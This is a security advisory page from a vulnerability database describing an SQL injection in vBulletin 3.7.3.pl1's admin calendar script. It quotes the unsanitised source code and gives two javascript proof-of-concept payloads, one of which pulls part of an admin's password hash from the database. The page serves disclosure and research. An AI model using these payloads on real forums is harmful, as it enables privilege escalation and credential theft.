Register | Forget Password | Login
Search :
SecurityReason

News

Search

SecurityAlert

About SecurityAlert

ExploitAlert

SecurityReason Research

WLB

WLB Database

Send to WLB

About WLB

RSS

News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Corporate

Contact

About us

Services

SecurePHP

Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Details : WLB-2008110035          

  Topic : Sql Injection in vBulletin 3.7.3.pl1
  WLB : WLB-2008110035  (About)
  SecurityAlert : None
  Date : 2008-11-18
  Credit          : waraxe
  Added by     : SecurityReason
  SecurityRisk : High  alert  (About)
  Remote : Yes
  Local     : No
  Status   : Bug

  History :
[2008-11-18] Started

  Affected software :  

vBulletin 3.7.3.pl1

  Text :  

[waraxe-2008-SA#068] - Sql Injection in vBulletin 3.7.3.pl1
========================================================================
=======

Author: Janek Vind "waraxe"
Date: 17. November 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-68.html

Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~

vBulletin (abbreviated as vB) is a commercial Internet forum software
produced
by Jelsoft Enterprises. It is written in PHP using a MySQL database
server.
vBulletin is a professional, affordable community forum solution. Thousands
of
clients, including many industry leading blue chip companies, have chosen
vBulletin - It's the ideal choice for any size of community.

Web: http://www.vbulletin.com/

List of found vulnerabilities
========================================================================
=======

1. Sql Injection in "admincp/admincalendar.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~

Impact: low
Preconditions: attacker must have admin account with calendar administer
privileges

Description
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let's have look at "admincp/admincalendar.php" line ~867:

-------------------[original source code]------------------

if($_POST['do'] == 'saveholiday')
{
$vbulletin->input->clean_array_gpc('p', array(
'holidayid' => TYPE_INT,
'holidayinfo' => TYPE_ARRAY,
'month1' => TYPE_INT,
'day1' => TYPE_INT,
'month2' => TYPE_INT,
'day2' => TYPE_INT,
'period' => TYPE_INT,
'title' => TYPE_STR,
'description' => TYPE_STR,
));
..
$db->query_write("
UPDATE " . TABLE_PREFIX . "holiday
SET allowsmilies = " .
$vbulletin->GPC['holidayinfo']['allowsmilies'] . ",
recuroption = '" . $vbulletin->GPC['holidayinfo']['recuroption'] .
"',
recurring = " . $vbulletin->GPC['holidayinfo']['recurring'] .
"
WHERE holidayid = " . $vbulletin->GPC['holidayid']
);

------------------[/original source code]------------------

As we can see, array-type variable 'holidayinfo' from $_POST will be used
in
sql UPDATE query without any sanitization. So sql injection seems to be
possible.
Let's find out about exploitability of this security issue.

\|/ PoC #1
/|\ ========

Log in as admin and open holiday manager interface:

http://localhost/vbulletin373pl1/admincp/admincalendar.php?do=updateholi
day

Fill in the "title" field (content does not matter).
Next run this javascript via browser URL bar:

javascript:var
w=document.getElementsByName("holidayinfo[recurring]")[0];
w.value="6,waraxe=1";document.cpform.submit();

As result, sql error can be seen similar to this:

Database error in vBulletin 3.7.3:

Invalid SQL:

UPDATE vb_holiday
SET allowsmilies = 1,
recuroption = '1|1',
recurring = 6,waraxe=1
WHERE holidayid = 2;

MySQL Error : Unknown column 'waraxe' in 'field list'

\|/ PoC #2
/|\ ========

Log in as admin and open holiday manager interface like in previous test.
Fill in title field. Then execute following javascript:

javascript:var
w=document.getElementsByName("holidayinfo[recurring]")[0];
w.value="6,recuroption=CONCAT('|',(SELECT SUBSTR(password,1,5) FROM
vb_user WHERE userid=1))";
document.cpform.submit();

As result we can see first five chars of admin's md5 hash:

Recurring Option Every 4ffb6 <<-- first five chars of hash

Possible impact
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Fortunately for vBulletin users this sql injection is low-impact.
It's because attacker needs to be admin with calendar administer privileges
in order
to exploit this security hole. So basically we have dealing with privilege
escalation exploit, because admin with limited privileges can use sql
injection for stealing other admin's password hashes and salts from
database.
And in case of successful hash cracking attacker may try to impersonate
admin with wider set of privileges. Additionally sql file-related
functionality (LOAD_FILE() for example) can be used by attacker.

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~

come2waraxe (at) yahoo (dot) com [email concealed]
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Php shell (work in progress): http://phpaxe.com/

---------------------------------- [ EOF ]
---------------------------------

If you want change this note, please use UCP


Alert

Microsoft VISTA TCP/IP stack buffer overflow

high- 2008-11-27

Microsoft Device IO Control wrapped by the iphlpapi.dll API shipping with Windows Vista 32 bit and 64 bit contains a possibly exploitable, buffer overflow corrupting kernel memory.

Apache rss

» Apache Tomcat information
   disclosure

» Apache Tomcat <=
   6.0.18 UTF8 Directory
   Traversal Vulnerability

» Apache Tomcat information
   disclosure vulnerability

» Apache Tomcat XSS
   vulnerability

PHP rss

» PHP 5.2.6 SAPI
   php_getuid() overload

» PHP
   ZipArchive::extractTo()
   Directory Traversal
   Vulnerability

» PHP 5.2.6 dba_replace()
   destroying file

» PHP 5.2.6 (error_log)
   safe_mode bypass

Copyright © SecurityReason. All Rights Reserved.